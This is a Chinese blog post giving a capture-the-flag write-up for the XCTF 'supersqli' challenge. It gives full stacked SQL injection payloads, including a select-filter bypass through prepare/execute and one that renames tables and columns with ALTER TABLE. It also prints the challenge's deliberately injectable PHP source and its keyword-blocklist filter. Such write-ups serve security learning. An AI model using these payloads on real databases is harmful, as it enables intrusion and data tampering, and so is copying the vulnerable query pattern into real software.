XCTF-Web-高手区-supersqli

题目

在这里插入图片描述

解题

1、使用常规的SQL注入操作进行注入,我们测试一下单引号

在这里插入图片描述
根据返回显示,我们可以判断目标源码中的SQL语句是字符型的,使用单引号闭合
我们本地使用mysql测试如下
在这里插入图片描述

2、使用#--进行测试

在这里插入图片描述
在这里插入图片描述
发现报错,直接试试编码,将#--替换为%23--+
在这里插入图片描述

3、接下来使用order by判断字段数

在这里插入图片描述
在这里插入图片描述
可以发现,存在两个字段数

4、使用union select判断哪个位置的字段可以进行注入

在这里插入图片描述
发现存在过滤,将我的语句过滤了

5、使用堆叠注入

(1)查看所有数据库名

在这里插入图片描述

(2)查看所有表名

在这里插入图片描述

(3)查看1919810931114514和words表中的字段

http://111.200.241.244:58599/?inject=1';show columns from `1919810931114514`;%23

注:若字符串为表名,在进行sql语句查询时要加反引号,这里words可以不加反引号
在这里插入图片描述

http://111.200.241.244:58599/?inject=1';show columns from `words`;%23

在这里插入图片描述

(4)查询flag字段的值,但无法使用select

那我们这里有两种方法进行绕过

0x01:使用预编译来进行绕过
预编译语法:
set						#用于设置变量名和值
prepare					#用于预备一个语句,并赋予名称,后面可以引用该语句
execute					#执行语句
deallocate prepare		#用于释放预处理的语句
1';set @xx=concat('se','lect * from `1919810931114514`;');prepare oo from @xx;execute oo;%23

拆分开来如下
1';#第一个语句
set @xx=concat('se','lect * from `1919810931114514`;');#设置一个变量xx,其值为想要执行的sql语句,这里使用拼接来绕过对select的过滤
prepare oo from @xx;#设置一个预备语句,也就是xx变量中的语句,并赋予其名称为oo
execute oo;#执行预备语句oo
#

执行后出现下图所示
在这里插入图片描述
这里显示,又被strstr过滤了,但strstr不区分大小写,所以我们可以使用大写对其函数进行绕过

http://111.200.241.244:58599/?inject=1';Set @xx=concat('se','lect * from `1919810931114514`;');Prepare oo from @xx;execute oo%23

在这里插入图片描述

0x02:修改表与字段

由第三步查看words表中字段时,发现了其中有id和data字段,而我们输入框中输入的1时显示出来的内容和这个正好匹配,所以words这个表中时显示内容的,因此,我们可以将表1919810931114514的名字改为words,flag字段(也就是列)的名字改为id,那么就能得到flag的内容了

预备知识:

修改表名和列名的语法:

(1)修改表名(将表名xx改为oo)
alter table xx rename to oo;

(2)修改列名(将字段名mm改为nn)
alter table oo change mm nn varchar(50);

payload:

1';alter table words rename to xx;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23
##分析
1';		#第一条sql语句
alter table words rename to xx;#将words的表名修改为xx
alter table `1919810931114514` rename to words;#将1919810931114514的表名修改为words
alter table words change flag id varchar(50);#将words中flag的字段名修改为id
%23#注释符

##注:由此看出,相当于将1919810931114514表直接改为words表,但他的字段名还是1919810931114514表中的,所以需要将flag修改为id,这样就可以直接访问了

最终结果

http://111.200.241.244:58599/?inject=1' or 1=1%23

在这里插入图片描述
注:我们使用sql-labs本地试验一下,更好地理解

select * from `users` where id = '1';alter table users rename to xx;alter table `emails` rename to users;alter table users change email_id id varchar(50);#;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这是可以看到,users表已经完全不一样的了,or 1=1也是输出表中的全部内容

这道题的源码如下:

有下面的源码也可以更加容易理解第二种绕过select的方法,还有为什么使用1’ or 1=1#
我们把关键sql语句拉出来看

select * from `words` where id = '$id';
payload拼接之后就是
select * from `words` where id = '1' or 1=1#;
//这条语句不管words中有多少字段和值,都会显示出来,我们可以本地在sqli-labs-less-1中测试,如下图,这也就是我们将flag字段名改为id后可以显示flag的原因

在这里插入图片描述

<html>

<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>

</body>

</html>
  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值